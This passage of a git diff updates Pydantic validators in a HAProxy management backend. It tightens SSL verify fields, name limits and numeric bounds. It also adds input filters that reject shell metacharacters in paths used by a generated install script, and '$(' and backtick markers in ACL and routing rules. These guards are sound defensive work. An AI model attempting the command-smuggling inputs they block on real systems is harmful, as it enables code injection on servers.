regex is generous enough for any real OS-package + install location while strict enough that the result is + safe to inline into a shell script. + """ platform: str architecture: str pool_id: int - cluster_id: int # ✅ FIXED: Added cluster_id field + cluster_id: int agent_name: str hostname_prefix: str haproxy_bin_path: str haproxy_config_path: str stats_socket_path: str + @validator('platform', 'architecture') + def _validate_platform_token(cls, v): + if not isinstance(v, str) or not v.strip(): + raise ValueError('platform/architecture must be a non-empty string') + s = v.strip() + if len(s) > 64: + raise ValueError('platform/architecture too long (max 64 chars)') + if not re.match(r'^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$', s): + raise ValueError( + 'platform/architecture must contain only letters, ' + 'digits, and `._-`' + ) + return s + + @validator('agent_name', 'hostname_prefix') + def _validate_hostname_token(cls, v): + if not isinstance(v, str) or not v.strip(): + raise ValueError('agent_name/hostname_prefix must be a non-empty string') + s = v.strip() + if len(s) > 64: + raise ValueError('agent_name/hostname_prefix too long (max 64 chars)') + # RFC 1123 hostname-label-ish: letters, digits, dash, + # underscore, dot. NO shell metacharacters, no spaces, + # no `$` `` ` `` `;` `&` `|` `<` `>` `\` `"` `'` `(` `)` etc. + if not re.match(r'^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$', s): + raise ValueError( + 'agent_name/hostname_prefix must start with an ' + 'alphanumeric and contain only letters, digits, dots, ' + 'dashes or underscores' + ) + return s + + @validator('haproxy_bin_path', 'haproxy_config_path', 'stats_socket_path') + def _validate_safe_posix_path(cls, v): + if not isinstance(v, str) or not v.strip(): + raise ValueError('path must be a non-empty string') + s = v.strip() + if len(s) > 4096: + raise ValueError('path too long (max 4096 chars)') + if not s.startswith('/'): + raise ValueError('path must be an absolute POSIX path starting with `/`') + # Reject ANY shell-metacharacter that could break out of + # the surrounding shell context in the generated script, + # plus newline / NULL / backslash / glob wildcards. Path- + # traversal sequences are not strictly dangerous (the + # agent file system owner decides what's accessible) but + # `..` segments are rejected anyway to keep the audit log + # readable. + FORBIDDEN = set('$`;&|<>"\'\\\n\r\x00*?') + if any(c in FORBIDDEN for c in s): + raise ValueError( + 'path contains a forbidden character — shell ' + 'metacharacters and whitespace are not allowed ' + 'to keep the generated install script safe to execute' + ) + if '/../' in s or s.endswith('/..') or s.startswith('../'): + raise ValueError('path must not contain `..` segments') + return s + class AgentUpgradeRequest(BaseModel): agent_id: int \ No newline at end of file diff --git a/backend/models/backend.py b/backend/models/backend.py index c6a6597..781d9c6 100644 --- a/backend/models/backend.py +++ b/backend/models/backend.py @@ -1,5 +1,5 @@ from pydantic import BaseModel, validator -from typing import Optional, List +from typing import Literal, Optional, List class ServerConfig(BaseModel): server_name: str @@ -11,7 +11,15 @@ class ServerConfig(BaseModel): check_port: Optional[int] = None backup_server: bool = False ssl_enabled: bool = False - ssl_verify: Optional[str] = None + # PR-2 (R11.B): tighten to strict Literal aligned with HAProxy's + # `server ... ssl verify ` semantics. Backend-side + # `verify optional` is NOT supported by HAProxy (only frontend + # bind-side accepts it) — pre-PR-2 the field accepted arbitrary + # strings (`'optional'`, `'true'`, etc.) and the generator + # rendered them verbatim, producing parser errors. Empty strings + # from the React form are coerced to None by + # `coerce_ssl_verify_empty_to_none` below. + ssl_verify: Optional[Literal["none", "required"]] = None ssl_certificate_id: Optional[int] = None # SSL certificate for backend server # SSL Advanced Options (server SSL parameters) @@ -34,11 +42,56 @@ class ServerConfig(BaseModel): raise ValueError(f'Invalid TLS version: {v}. Must be one of: {", ".join(valid_versions)}') return v + @validator('ssl_verify', pre=True) + def coerce_ssl_verify_empty_to_none(cls, v): + """PR-2 (R11.B): React form Select widgets clear to '' (empty + string) but the strict Literal would reject that. Coerce the + empty string and the legacy sentinels written by older + clients into None. Note: server-side mTLS only accepts + ``none`` or ``required`` (HAProxy's `server ... verify` + keyword has no `optional` mode); a legacy `'optional'` + value is also coerced to None to fail-safe rather than + rendering an invalid directive. + """ + if v is None: + return None + if isinstance(v, str): + stripped = v.strip().lower() + if stripped in ("", "[]", "{}", "null"): + return None + if stripped == "none": + return "none" + if stripped == "required": + return "required" + if stripped == "optional": + # Server-side `verify optional` is invalid HAProxy. + # Coerce to None so the generator simply omits the + # directive instead of producing a parser-fatal line. + return None + return v + class BackendConfig(BaseModel): name: str cluster_id: int balance_method: str = 'roundrobin' mode: str = 'http' + + @validator('name') + def reject_system_prefix(cls, v): + # R18 audit fix (round 3 #5): manual backend create previously + # accepted leading-underscore names (e.g. `_my_backend`). The + # agent's `_should_sync_backend` filter then dropped any such + # row from the agent->backend reverse-sync, producing silent + # control-plane drift between DB and on-disk haproxy.cfg. The + # wizard's BackendStep already rejected this; align the manual + # path so the constraint is uniform across entry points. + if isinstance(v, str) and v.startswith('_'): + raise ValueError( + "Backend name must not start with '_' (reserved for " + "system-managed entities such as the ACME challenge " + "backend)." + ) + return v health_check_uri: Optional[str] = None health_check_interval: Optional[int] = 2000 health_check_expected_status: Optional[int] = 200 @@ -56,12 +109,34 @@ class BackendConfig(BaseModel): options: Optional[str] = None servers: List[ServerConfig] = [] - @validator('health_check_interval', 'timeout_connect', 'timeout_server', 'timeout_queue', 'fullconn') + # Bulgu #68 (round-22 audit) — wizard's BackendStep declares + # `fullconn: Optional[int] = Field(default=None, ge=0, ...)` + # (0 == HAProxy "fullconn disabled" sentinel). The manual + # BackendConfig pre-fix used a single `check_positive` that + # rejected `<= 0` for ALL of `health_check_interval`, + # `timeout_connect`, `timeout_server`, `timeout_queue`, AND + # `fullconn` — so a wizard-created backend with + # `fullconn=0` (or one persisted before fullconn was + # introduced and now defaults to 0) would 422 on every PUT, + # even when the operator was only changing the balance + # method or adding a server. Same Bulgu #62 "wizard + # accepted / manual rejects" lockout pattern. + # + # Split into two validators: the four timeout/interval fields + # keep `> 0` (HAProxy parser hard requirement), while + # `fullconn` switches to `>= 0` mirroring the wizard. + @validator('health_check_interval', 'timeout_connect', 'timeout_server', 'timeout_queue') def check_positive(cls, v): if v is not None and v <= 0: raise ValueError('Timeout, interval, and connection values must be positive') return v - + + @validator('fullconn') + def check_fullconn_non_negative(cls, v): + if v is not None and v < 0: + raise ValueError('fullconn must be >= 0 (0 disables the directive)') + return v + @validator('health_check_expected_status') def check_http_status(cls, v): if v is not None and (v < 100 or v > 599): @@ -72,6 +147,18 @@ class BackendConfigUpdate(BaseModel): name: Optional[str] = None balance_method: Optional[str] = None mode: Optional[str] = None + + @validator('name') + def reject_system_prefix_update(cls, v): + # R18 audit fix (round 3 #5): rename guard. Without it an + # operator could `PUT` a backend's name to `_anything`, which + # would then be filtered out by the agent reverse-sync. + if v is not None and isinstance(v, str) and v.startswith('_'): + raise ValueError( + "Backend name must not start with '_' (reserved for " + "system-managed entities)." + ) + return v health_check_uri: Optional[str] = None health_check_interval: Optional[int] = None health_check_expected_status: Optional[int] = None @@ -89,12 +176,21 @@ class BackendConfigUpdate(BaseModel): options: Optional[str] = None servers: Optional[List[ServerConfig]] = None - @validator('health_check_interval', 'timeout_connect', 'timeout_server', 'timeout_queue', 'fullconn') + # Bulgu #68 (round-22 audit) — same alignment as BackendConfig + # above. Update path is where the wizard-created `fullconn=0` + # row most often blows up. + @validator('health_check_interval', 'timeout_connect', 'timeout_server', 'timeout_queue') def check_positive_update(cls, v): if v is not None and v <= 0: raise ValueError('Timeout, interval, and connection values must be positive') return v - + + @validator('fullconn') + def check_fullconn_non_negative_update(cls, v): + if v is not None and v < 0: + raise ValueError('fullconn must be >= 0 (0 disables the directive)') + return v + @validator('health_check_expected_status') def check_http_status_update(cls, v): if v is not None and (v < 100 or v > 599): diff --git a/backend/models/frontend.py b/backend/models/frontend.py index fd7cd1c..048c95d 100644 --- a/backend/models/frontend.py +++ b/backend/models/frontend.py @@ -1,10 +1,42 @@ from pydantic import BaseModel, validator, ValidationError -from typing import List, Optional, Any +from typing import List, Literal, Optional, Any import re import ipaddress import os import json + +# Phase K Phase D follow-up (Bulgu #13) — shared helper that detects +# whether a HAProxy `use_backend` / `redirect` rule's condition +# references the same ACL in both positive AND negated form (e.g. +# `if acl1 !acl1`). HAProxy accepts the syntax but the predicate +# `X AND NOT X` is always false, so the rule never fires and traffic +# silently falls through to `default_backend`. Mirrors the same +# helper in `models/site_wizard.py::_detect_acl_contradiction` so +# the manual Frontend API and the wizard offer identical guarantees. +_FRONTEND_ACL_NAME_TOKEN = re.compile(r"^!?([A-Za-z_][\w.-]*)$") + + +def _frontend_has_acl_contradiction(directive: str) -> bool: + """Return True if `directive` (a full use_backend / redirect + rule string) contains both `X` and `!X` token for the same ACL + name.""" + pos: set = set() + neg: set = set() + for raw in directive.split(): + if raw in ('if', 'unless'): + continue + m = _FRONTEND_ACL_NAME_TOKEN.match(raw) + if not m: + continue + name = m.group(1) + if raw.startswith('!'): + neg.add(name) + else: + pos.add(name) + return bool(pos & neg) + + class FrontendConfig(BaseModel): name: str bind_address: str = "*" @@ -17,7 +49,26 @@ class FrontendConfig(BaseModel): ssl_port: Optional[int] = None # DEPRECATED: SSL uses bind_port now (backward compatibility) ssl_cert_path: Optional[str] = None ssl_cert: Optional[str] = None - ssl_verify: Optional[str] = "optional" + # R18b audit fix: default to None (not "optional") so an OMITTED + # field on PUT/POST means "don't add a verify directive" rather + # than silently switching the bind to `verify optional`. The pre- + # R18b default broke round-trips: an operator could clear the + # ssl_verify Select in FrontendManagement, the cleared value got + # dropped from the JSON payload, and Pydantic re-applied + # "optional" — exactly the behaviour the cleared selection was + # meant to undo. The HAProxy config generator already treats + # NULL/empty as "omit", so None is the correct default. + # + # PR-2 (R11.B): tighten the type to a strict Literal aligned with + # what the HAProxy config generator can actually emit. Pre-PR-2 + # `Optional[str]` accepted any value (e.g. legacy `'true'`, + # `'false'`, `'1'`) which the generator then attempted to render + # verbatim as `bind ... ssl ... verify true` — a HAProxy fatal + # parser error. The Literal also unifies the contract with the + # wizard's `SSLChoice.ssl_verify` so manual + wizard create paths + # accept the same set. Empty strings from the React form are + # coerced to None by `_coerce_ssl_verify_empty_to_none` below. + ssl_verify: Optional[Literal["none", "optional", "required"]] = None # SSL Advanced Options (bind SSL parameters) ssl_alpn: Optional[str] = None # Application-Layer Protocol Negotiation (e.g., "h2,http/1.1") @@ -106,14 +157,26 @@ class FrontendConfig(BaseModel): def validate_name(cls, v): if not v or not v.strip(): raise ValueError('Frontend name cannot be empty') - + # HAProxy names cannot contain spaces or special characters if not re.match(r'^[a-zA-Z0-9_.-]+$', v.strip()): raise ValueError('Frontend name can only contain letters, numbers, dot (.), underscore (_) and dash (-). Spaces and special characters are not allowed.') - - if len(v.strip()) > 50: - raise ValueError('Frontend name cannot exceed 50 characters') - + + # Bulgu #69 (round-22 audit) — align the manual frontend-name + # length cap with the wizard's `_FRONTEND_NAME_REGEX`, which + # allows up to 64 characters + # (`^[a-zA-Z][a-zA-Z0-9_-]{0,63}$`). Pre-fix the manual model + # capped at 50, so a wizard-created frontend with a 51-64 + # character name (legal at CREATE) would 422 on the very + # first manual PUT — the same Bulgu #62 "wizard accepted / + # manual rejects" lockout pattern. HAProxy itself imposes + # no fixed identifier length cap; 64 is a defensive ceiling + # that mirrors typical operating-system PATH_MAX components + # while staying generous for prefixed names like + # `tenant-acme-app-frontend-https`. + if len(v.strip()) > 64: + raise ValueError('Frontend name cannot exceed 64 characters') + return v.strip() @validator('bind_address') @@ -156,6 +219,32 @@ class FrontendConfig(BaseModel): if v is not None and (not isinstance(v, int) or v < 1): raise ValueError('SSL certificate ID must be a positive integer') return v + + @validator('ssl_verify', pre=True) + def coerce_ssl_verify_empty_to_none(cls, v): + """PR-2 (R11.B) + R11-audit-1 (FIX-1): React form Select widgets + clear to '' (empty string) but the strict Literal would reject + that. Coerce the empty string and the legacy sentinels written + by older clients into None so the generator omits the directive. + + FIX-1 (R11-audit-1): the pre-fix branch only matched lowercase + canonical values (`'none'`/`'optional'`/`'required'`). External + API clients sometimes send uppercase (`'OPTIONAL'`, `'NONE'`) + which the Literal would then REJECT — even though the lowercase + equivalent is a valid value. The behaviour was inconsistent + with the sister coercer in `models/site_wizard.py::SSLChoice` + (mode='before') which already lowercases canonical values. + Now `frontend.py` matches the same case-insensitive contract. + """ + if v is None: + return None + if isinstance(v, str): + stripped = v.strip().lower() + if stripped in ("", "[]", "{}", "null"): + return None + if stripped in ("none", "optional", "required"): + return stripped + return v @validator('ssl_certificate_ids', pre=True, always=True) def validate_ssl_certificate_ids(cls, v, values): @@ -210,28 +299,56 @@ class FrontendConfig(BaseModel): return v + # Bulgu #66 (round-22 audit) — align manual FrontendConfig + # numeric bounds with the wizard's `FrontendStep` bounds. Pre- + # fix the manual model used much tighter ranges than what the + # wizard accepted: + # + # field manual (pre-fix) wizard + # timeout_client 1000 .. 3_600_000 100 .. 86_400_000 + # timeout_http_request 1000 .. 300_000 100 .. 86_400_000 + # maxconn 1 .. 100_000 1 .. 1_000_000 + # rate_limit 1 .. 10_000 0 .. 1_000_000 + # + # A frontend that the wizard accepted at create time could + # therefore 422 on the very first PUT from the FrontendManagement + # UI — the model rejected the legacy value before the + # route-level grandfathering (#62) could even run. Same Bulgu + # #62 pattern: operator changes port → blocked on an unrelated + # field they didn't author. The new ranges mirror the wizard + # exactly so the two entry points agree byte-for-byte. Each + # field already passes through HAProxy's own `haproxy -c` + # check at apply time as the ultimate ceiling. @validator('timeout_client') def validate_timeout_client(cls, v): - if v is not None and (v < 1000 or v > 3600000): # 1s to 1h in ms - raise ValueError('Client timeout must be between 1000ms (1s) and 3600000ms (1h)') + if v is not None and (v < 100 or v > 86_400_000): + raise ValueError( + 'Client timeout must be between 100ms and 86400000ms (24h)' + ) return v - + @validator('timeout_http_request') def validate_timeout_http_request(cls, v): - if v is not None and (v < 1000 or v > 300000): # 1s to 5min in ms - raise ValueError('HTTP request timeout must be between 1000ms (1s) and 300000ms (5min)') + if v is not None and (v < 100 or v > 86_400_000): + raise ValueError( + 'HTTP request timeout must be between 100ms and 86400000ms (24h)' + ) return v - + @validator('rate_limit') def validate_rate_limit(cls, v): - if v is not None and (v < 1 or v > 10000): - raise ValueError('Rate limit must be between 1 and 10000 requests') + if v is not None and (v < 0 or v > 1_000_000): + raise ValueError( + 'Rate limit must be between 0 and 1000000 requests (0 = disabled)' + ) return v - + @validator('maxconn') def validate_maxconn(cls, v): - if v is not None and (v < 1 or v > 100000): - raise ValueError('Max connections must be between 1 and 100000') + if v is not None and (v < 1 or v > 1_000_000): + raise ValueError( + 'Max connections must be between 1 and 1000000' + ) return v @validator('ssl_min_ver', 'ssl_max_ver') @@ -244,77 +361,215 @@ class FrontendConfig(BaseModel): @validator('ssl_alpn') def validate_alpn(cls, v): - if v is not None and v.strip(): - # ALPN protocols are comma-separated - protocols = [p.strip() for p in v.split(',')] - valid_protocols = ['h2', 'http/1.1', 'http/1.0', 'h2c', 'spdy/3', 'spdy/2', 'spdy/1'] - - for proto in protocols: - if proto and proto not in valid_protocols: - # Provide helpful error message for common mistakes - if proto.lower() in ['http/2', 'http2', 'http-2']: - raise ValueError( - f'Invalid ALPN protocol: {proto}. ' - f'For HTTP/2, use "h2" (not "http/2"). ' - f'Valid protocols: {", ".join(valid_protocols)}' - ) - else: - raise ValueError( - f'Invalid ALPN protocol: {proto}. ' - f'Valid protocols: {", ".join(valid_protocols)}' - ) + # Bulgu #65 (round-22 audit) — pre-fix this validator + # rejected anything not in a fixed whitelist of HTTP / SPDY + # tokens. RFC 7301 explicitly states ALPN identifiers are + # 1-255 octet opaque tokens; HAProxy passes them through + # to OpenSSL without enforcing a list. Operators with + # legacy frontends carrying non-HTTP ALPN values such as + # `postgres`, `imap`, `smtp`, `acme-tls/1`, or vendor- + # specific identifiers were locked out of editing any + # unrelated field (port / max conn / default backend) — + # the FrontendManagement UI re-sends the existing + # `ssl_alpn` value verbatim and the model 422-ed the PUT. + # + # The validator now accepts any token matching the + # RFC-7301-compatible character class (printable ASCII + # minus separators, length 1-255). The helpful "use h2 + # not http/2" hint is retained because that's a real + # operator typo we want to catch. + if v is None or not v.strip(): + return v + protocols = [p.strip() for p in v.split(',')] + token_re = re.compile(r"^[A-Za-z0-9][A-Za-z0-9./_+-]{0,254}$") + common_typos = {'http/2', 'http2', 'http-2'} + for proto in protocols: + if not proto: + continue + if proto.lower() in common_typos: + raise ValueError( + f'Invalid ALPN protocol: {proto}. ' + f'For HTTP/2, use "h2" (not "{proto}").' + ) + if not token_re.match(proto): + raise ValueError( + f'Invalid ALPN protocol token: "{proto}". ' + f'Per RFC 7301 each comma-separated entry ' + f'must be 1-255 characters of letters / digits ' + f'/ "." / "/" / "_" / "+" / "-" and must start ' + f'with a letter or digit.' + ) return v - + @validator('ssl_npn') def validate_npn(cls, v): - if v is not None and v.strip(): - # NPN protocols are comma-separated (legacy) - protocols = [p.strip() for p in v.split(',')] - valid_protocols = ['http/1.1', 'http/1.0', 'spdy/3', 'spdy/2', 'spdy/1'] - for proto in protocols: - if proto and proto not in valid_protocols: - raise ValueError(f'Invalid NPN protocol: {proto}. Valid protocols: {", ".join(valid_protocols)}') + # Bulgu #65 (round-22 audit) — same relaxation as ssl_alpn. + # NPN is the deprecated predecessor of ALPN (RFC 7301 + # obsoletes it); HAProxy still accepts any opaque token. + if v is None or not v.strip(): + return v + protocols = [p.strip() for p in v.split(',')] + token_re = re.compile(r"^[A-Za-z0-9][A-Za-z0-9./_+-]{0,254}$") + for proto in protocols: + if proto and not token_re.match(proto): + raise ValueError( + f'Invalid NPN protocol token: "{proto}". ' + f'Use 1-255 characters of letters / digits / ' + f'"." / "/" / "_" / "+" / "-" starting with a ' + f'letter or digit.' + ) return v @validator('acl_rules') def validate_acl_rules(cls, v): if not v: return [] - + validated_rules = [] for rule in v: rule = rule.strip() if not rule: continue - + # Basic ACL syntax validation if not re.match(r'^[a-zA-Z0-9_.-]+\s+', rule): raise ValueError(f'Invalid ACL rule syntax: "{rule}". Must start with ACL name followed by condition.') - - # Check for dangerous patterns - if any(dangerous in rule.lower() for dangerous in ['system', 'exec', 'eval', '$(', '`']): + + # Bulgu #64 (round-22 audit) — the previous danger-pattern + # list was `['system', 'exec', 'eval', '$(', '`']` and + # rejected the substring anywhere in the rule. That broke + # legitimate ACL names like `acl is_system hdr(host) -i + # internal.example.com`, `acl my_subsystem path_beg /sub`, + # `acl block_executable path_end .exe`, etc. HAProxy has + # no `system`/`exec`/`eval` directive — those words carry + # no runtime semantics inside a rendered config, so the + # check was over-cautious and a false-positive trap on + # the UPDATE path (legacy rows could not be edited). + # `$(` and backtick stay because they're shell-substitution + # markers that don't appear in any legitimate HAProxy + # directive shape. + if any(dangerous in rule.lower() for dangerous in ['$(', '`']): raise ValueError(f'ACL rule contains potentially dangerous content: "{rule}"') - + + # Phase K Phase D follow-up (Bulgu #12 round 3) — reject + # the HAProxy `-f ` pattern-file flag here too so the + # manual Frontend API mirrors the wizard's parity rule. + # HAProxy OpenManager does not provision pattern files + # onto the HAProxy node filesystem, so any `-f /path/...` + # reference will fail HAProxy's `-c` parse at apply time + # with "failed to open pattern file". Reject up-front so + # operators get the same actionable error from both the + # manual page and the wizard. + if re.search(r"(^|\s)-f(\s|$)", rule): + raise ValueError( + f'ACL rule "{rule}" uses the HAProxy `-f ` ' + "pattern-file flag, which is not supported in " + "HAProxy OpenManager: the product does not " + "provision pattern files onto the HAProxy node " + "filesystem, so the reference would fail at " + "reload time. Use inline values instead " + "(e.g. `src 10.0.0.0/24` rather than " + "`src -f /etc/haproxy/admins.lst`)." + ) + validated_rules.append(rule) - + return validated_rules @validator('redirect_rules') def validate_redirect_rules_syntax(cls, v): if not v: return [] - + + # Bulgu #62 (round-22 audit) — defensively tolerate dict-shaped + # redirect rules (the wizard's `_build_redirect_rules` stores + # the auto-generated HTTP→HTTPS redirect as + # `{"type": "scheme", "scheme": "https", "code": 301, + # "condition": "…"}`). Pre-fix this loop called `rule.strip()` + # unconditionally and crashed with AttributeError on dicts, + # 422-ing every wizard-created frontend the operator tried to + # edit from the FrontendManagement UI. Now the loop accepts + # both shapes: strings are syntax-validated, dicts are passed + # through (their structure was already validated by the + # wizard's own `_validate_redirect_rules` field validator + # and is round-tripped through HAProxy by the renderer's + # `_format_redirect_rule`). validated_rules = [] for rule in v: + if isinstance(rule, dict): + validated_rules.append(rule) + continue + if not isinstance(rule, str): + continue rule = rule.strip() if not rule: continue - + # Basic redirect syntax validation valid_redirects = ['location', 'prefix', 'scheme'] if not any(rule.startswith(redirect_type) for redirect_type in valid_redirects): raise ValueError(f'Invalid redirect rule: "{rule}". Must start with: location, prefix, or scheme.') - + + # Phase K Phase D follow-up (Bulgu #12 round 3) — + # mirror the wizard's `-f ` guard here. The + # `X !X` contradiction check used to live alongside + # this guard, but Bulgu #62 (round-22 audit) moved + # it into the route handler so updates can grandfather + # legacy rules created before the contradiction guard + # landed. See `routers/frontend.py::_collect_routing_rule_contradictions`. + if re.search(r"(^|\s)-f(\s|$)", rule): + raise ValueError( + f'Redirect rule "{rule}" uses the HAProxy `-f ` ' + "pattern-file flag, which is not supported in " + "HAProxy OpenManager: the product does not provision " + "pattern files onto the HAProxy node filesystem." + ) + validated_rules.append(rule) - - return validated_rules \ No newline at end of file + + return validated_rules + + @validator('use_backend_rules') + def validate_use_backend_rules_syntax(cls, v): + """Phase K Phase D follow-up (Bulgu #12 round 3) — manual + Frontend API parity guard: reject `-f ` references + and dangerous shell patterns. + + Bulgu #62 (round-22 audit) — the `X !X` contradiction check + previously lived here but moved into the route handler so + the UPDATE path can grandfather legacy rules created before + the contradiction guard landed (e.g. wizard-created frontends + from a pre-Bulgu-#13 build). The handler-level enforcement + keeps POST strict (hard reject) and lets PUT pass through + unchanged grandfathered rules with a soft warning. + """ + if not v: + return [] + validated_rules = [] + for rule in v: + if not isinstance(rule, str): + continue + rule = rule.strip() + if not rule: + continue + # Bulgu #64 (round-22 audit) — same relaxation as + # `validate_acl_rules`: drop the 'system'/'exec'/'eval' + # substring tripwires (false-positive on legitimate names + # like `is_system`, `subsystem`, `executable`) and keep + # only `$(` and backtick (shell-substitution markers + # that have no legitimate place in a HAProxy directive). + if any(dangerous in rule.lower() for dangerous in ['$(', '`']): + raise ValueError( + f'use_backend rule contains potentially dangerous ' + f'content: "{rule}"' + ) + if re.search(r"(^|\s)-f(\s|$)", rule): + raise ValueError( + f'use_backend rule "{rule}" uses the HAProxy ' + "`-f ` pattern-file flag, which is not " + "supported in HAProxy OpenManager: the product " + "does not provision pattern files onto the HAProxy " + "node filesystem." + ) + validated_rules.append(rule) + return validated_rules \ No newline at end of file diff --git a/backend/models/site_wizard.py b/backend/models/site_wizard.py new file mode 100644 index 0000000..bfa7c95 --- /dev/null +++ b/backend/models/site_wizard.py @@ -0,0 +1,2205 @@ +""" +v1.5.0 Feature B (Issue #14): Pydantic models for the New Site Setup +Wizard. + +The wizard accepts an entire host bundle (cluster, domains, backend, server(s), +HTTP frontend, SSL choice, optional ACME) in a single atomic POST. The +backend then opens a single transaction and creates all entities in order. + +Design notes: +- We deliberately use Pydantic v2 syntax (`pattern=` not the deprecated + `regex=`). +- M22: ssl.mode='acme' MUST set apply_immediately=true (the wizard does NOT + let the user save an ACME-staged order without an actual config-version + apply that the agent can confirm). +- Round 10 micro-finding: ssl.mode='acme' also requires frontend.mode='http' + (HTTP-01 challenge is HTTP-only). +- M19: frontend.https_redirect (UI sugar) is expanded server-side to a + redirect_rules JSONB row; the wizard rejects payloads that set BOTH + https_redirect=true AND a non-empty redirect_rules list. +- Backend names beginning with `_` are reserved for system-managed entities + (e.g. `_acme_challenge_backend`); rejected at validation time. +""" + +import re +from typing import Any, List, Literal, Optional, Union + +from pydantic import BaseModel, Field, field_validator, model_validator + +# Re-use the canonical domain regex (M10) so client + server stay in sync. +from utils.domain_validation import DOMAIN_REGEX, validate_domain + + +# Backend name: HAProxy-section-name-safe identifier. We additionally forbid +# leading underscore (system-managed names) and the literal HAProxy-reserved +# names mentioned in the v1.5.0 plan. +_BACKEND_NAME_REGEX = r"^[a-zA-Z][a-zA-Z0-9_-]{0,63}$" +_FRONTEND_NAME_REGEX = r"^[a-zA-Z][a-zA-Z0-9_-]{0,63}$" +_SERVER_NAME_REGEX = r"^[a-zA-Z0-9][a-zA-Z0-9_-]{0,63}$" + +# Bulgu #43 (round-17 audit) — HAProxy section-type keywords are reserved +# globals in HAProxy's grammar. A section directive of the form +# ` ` is grammatically legal even when equals +# another section-type keyword (e.g. `backend defaults`), but the result +# is impossible to scan, confuses every operator who reads the rendered +# config, and breaks downstream tooling that grep's for sections by name. +# We reject these as backend/frontend/server names at the wizard +# boundary so the operator gets a single, actionable error rather than +# producing a config that loads but is unreadable. +# Source: HAProxy 2.6+ configuration manual, section "2. Quick reminder +# about HTTP" and the section-type table. Lowercased; the field +# validators compare case-insensitively. +_HAPROXY_SECTION_KEYWORDS = frozenset({ + "global", "defaults", "listen", "frontend", "backend", + "peers", "mailers", "resolvers", "cache", "program", "ring", + "userlist", "http-errors", "fcgi-app", "crt-store", "traces", + "ssl-engine", "cpu-map", +}) + +# ACL operators / condition keywords that, when used as a section name, +# would silently shadow grammar tokens in `use_backend X if Y` strings. +# Reject defensively so operators can't paint themselves into a corner. +_ACL_RESERVED_KEYWORDS = frozenset({"if", "unless", "or", "and"}) + + +def _validate_not_haproxy_keyword(value: str, field_label: str) -> str: + """Bulgu #43 (round-17 audit) — common implementation shared by + backend / frontend / server name validators. Performs the + case-insensitive keyword check and raises a clear ValueError when + the operator-supplied name collides with a HAProxy section keyword + or ACL operator.""" + if not value: + return value + low = value.strip().lower() + if low in _HAPROXY_SECTION_KEYWORDS: + raise ValueError( + f"{field_label}={value!r} collides with the HAProxy section " + f"keyword '{low}'. While HAProxy's grammar technically allows " + f"`{low} {low}` as a section header, the resulting config is " + "unreadable and breaks tooling that parses sections by name. " + "Pick a non-keyword identifier." + ) + if low in _ACL_RESERVED_KEYWORDS: + raise ValueError( + f"{field_label}={value!r} collides with the ACL operator " + f"keyword '{low}', which is used by `use_backend X if Y` " + "directives. Pick a different identifier to avoid grammar " + "ambiguity." + ) + return value + + +# Bulgu #44 (round-17 audit) — bind_address character class. HAProxy +# accepts several syntaxes (`*`, `0.0.0.0`, IPv6 in brackets `[::1]`, +# DNS name resolved at start, `@` env reference). We +# accept a conservative class that covers all common forms and +# explicitly rejects whitespace + shell metacharacters. The renderer +# emits the value verbatim as the host part of `bind :`, +# so a value like `'foo bar'` would produce `bind foo bar:80` which +# HAProxy tokenises as `bar:80` and ignores `foo` (the operator's +# IP allocation is silently wrong). Reject upfront so the operator +# sees `'foo bar' is not a valid bind_address` instead of debugging a +# misrouted port. +_BIND_ADDRESS_REGEX = re.compile( + # Allow: + # - bare `*` + # - IPv4 dotted form + # - IPv6 raw (no brackets, e.g. `::`) — HAProxy accepts in `bind` + # - IPv6 in brackets `[::1]` + # - IPv6 with scope-id `[fe80::1%eth0]` — Bulgu #59 (round-20). + # Link-local IPv6 binds require the interface name (`%eth0`, + # `%bond0.42`, …) so HAProxy can pick the right NIC. Pre-fix + # `_BIND_ADDRESS_REGEX` rejected the `%` character outright + # and link-local listeners had to drop down to the manual + # frontend API. The character class also accepts digits in + # case the operator uses a numeric zone index (RFC 4007 §11). + # - hostnames a-z 0-9 . - + # - `@` HAProxy env reference (advanced) + r"^(?:" + r"\*" + r"|@[A-Za-z_][A-Za-z0-9_]*" + r"|\[[0-9a-fA-F:.]{1,40}(?:%[A-Za-z0-9._-]{1,16})?\]" + r"|[0-9a-zA-Z.:_-]{1,63}" + r")$" +) + + +# Bulgu #45 (round-17 audit) — HAProxy parses timeout values as a +# signed 32-bit integer of milliseconds (signed int upper bound: +# 2_147_483_647 ms ≈ 24.85 days). Values above that overflow the +# parser; values close to it are operator confusion. The wizard +# caps at 24h × 30 = 30 days ≈ 2_592_000_000 ms which already +# overflows int32, so we cap below that. 24h = 86_400_000 ms is the +# longest reasonable HAProxy timeout — anything beyond that is +# almost certainly a missing-unit typo (e.g. operator typed +# 60_000_000 thinking it was seconds). +_MAX_HAPROXY_TIMEOUT_MS = 86_400_000 # 24 hours, well below int32 overflow + +# Bulgu #46 (round-17 audit) — HAProxy `maxconn` / `rate_limit` are +# unsigned ints in the parser but practical limits are bounded by +# the agent's `ulimit -n` (file descriptors). A typical Linux box +# defaults to 1024 nofile, tuned production typically tops out at +# 1M. Anything > 1M is almost certainly a typo and produces a +# config that the agent fails to load (`socket(): too many open +# files`). Cap defensively. +_MAX_HAPROXY_CONN_LIMIT = 1_000_000 + +# Phase K (Site Wizard validation hardening) — safety validators for +# HAProxy directive fragments that the ACL builder serialises into the +# wizard payload. Mirrors the danger-pattern set the manual frontend +# API has been enforcing on raw ACL strings since pre-R14 +# (`backend/models/frontend.py::validate_acl_rules`). The wizard never +# inherited that protection because the rule fields were typed as +# `List[dict]` and never reached a string-aware validator — every ACL +# attempt instead failed with "Input should be a valid dictionary". +# +# 4 KB per element keeps us under the existing R14 hardening posture +# (PEM fields capped at 64 KB; rule strings should be at most ~1 KB +# in practice, so 4 KB is a comfortable headroom that still defeats +# pathological-DoS payloads). +_MAX_RULE_STRING_LEN = 4096 + +# Bulgu #64 (round-22 audit) — the previous danger-pattern list was +# `("system", "exec", "eval", "$(", "`")` and matched the substring +# anywhere in the rule string. That blocked legitimate ACL names +# such as `acl is_system path_beg /admin`, `acl my_subsystem …`, +# or `acl block_executable path_end .exe`, because the literal +# words happen to be common in operator-facing naming. HAProxy is +# NOT a shell — there is no `system`/`exec`/`eval` directive, and +# substrings of these tokens carry no runtime meaning inside a +# rendered HAProxy config. The substring check was over-cautious +# and a real false-positive trap on the UPDATE path (legacy rows +# could not be edited at all). +# +# The retained patterns are shell-substitution markers (`$(`, +# backtick) — these don't appear in any legitimate HAProxy +# directive shape; if an operator pastes them in it almost always +# means a copy-paste from a shell script 